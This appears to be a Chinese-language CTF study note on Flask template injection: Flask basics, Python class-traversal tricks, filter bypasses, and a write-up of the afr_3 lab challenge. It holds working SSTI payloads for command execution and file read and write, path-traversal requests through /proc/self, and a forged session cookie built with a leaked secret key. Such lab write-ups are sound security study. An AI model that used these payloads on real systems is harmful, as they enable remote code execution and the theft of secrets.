Linux /proc/目录
flask基础
渲染方法
- render_template
- render_template_string
render_template()
用来渲染一个指定的文件
1 | return render_template('index.html') |
render_template_string()
渲染一个字符串的,SSTI与这个方法密不可分
1 | def home(): |
route
1 | from flask import flask |
route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index 的时候,flask会返回hello word
魔术方法
- __class__ : 返回当前类
- __mro__ : 返回解析函数时,类的调用顺序
- __base__ : 返回当前类父类(字符串形式)
- __bases__ : 以元组形式返回所有父类(可以通过索引访问)
- __subclasses__ : 返回当前类的所有子类,可通过索引的方式定位某一个子类
- __init__ : 类的初始化方法
- __globals__ : 对包含函数全局变量的字典的引用
os.wrap_close类
需要定位到该类,不同的python版本,位置可能不同
也可以引入os模块,进行快速定位
1 | print('aaa'.__class__.__base__.__subclasses__().index(os.__wrap__close)) |
接下来可以:
通过popen,以及read方法来进行系统命令执行
1 | print('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()) |
通过__builtins__下的open进行文件读取
1 | print('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('test.txt').read()) |
通过写入的方式修改文件内容
1 | print('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('test.txt','w').write('123456')) |
- 除此之外,还有<class ‘site._Printer’> 类也可以利用
1 | print('aaa'.__class__) |
运行结果如下:
1 | <class 'str'> |
设置session
在flask中可以导入 flask.session 来操作 session, 使用方法和 python 中的字典差不多
1 | from flask import session |
注意处理session时,需要设置SECRET_KEY,因为flask是用该值对session进行加密和混淆
1 | class Config(object): |
Flask Session Cookie Decode/Encoder
https://noraj.github.io/flask-session-cookie-manager/
ctf中的绕过技巧
索引[]被过滤
1
print('aaa'.__class__.__base__.__subclasses__().__getitem__(133)) # 如果"[]"被过滤,可以用__getitem__()来进行替换
引号被过滤,可以在url中通过下面方式实现绕过
1
?key = {{'aaa'.__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir
关键字被过滤
1
__getattribute__('__'+'cla'+'ss'+'__')
可以通过类似上面的构造来绕过
afr_3
本题考察了对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入
请求 http://172.18.0.2:5000/article?name=../../../../../../proc/self/cmdline 可以获取到当前正在执行的系统命令,得到 python server.py
访问 http://172.18.0.2:5000/article?name=../../../../../../proc/self/cwd/server.py 可以得到server.py 的源码
1 | #!/usr/bin/python |
审计源码,发现flag在flag.py中,flask的appkey在key.py中,访问flag.py会被过滤
session中存在flask ssti,伪造flask的cookie需要用到appkey
请求 http://172.18.0.2:5000/article?name=../../../../../proc/self/cwd/key.py 可以得到appkey
1
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
在flask-session-cookie-manager中加密构造session
1 | python .\flask_session_cookie_manager3.py encode -s 'Drmhze6EPcv0fN_81Bj-nA' -t '{"""n1code""": """{{''asd''.__class__.__mro__[2].__subclasses__()[40](''flag.py'').read()}}"""}' |
然后就可以得到flag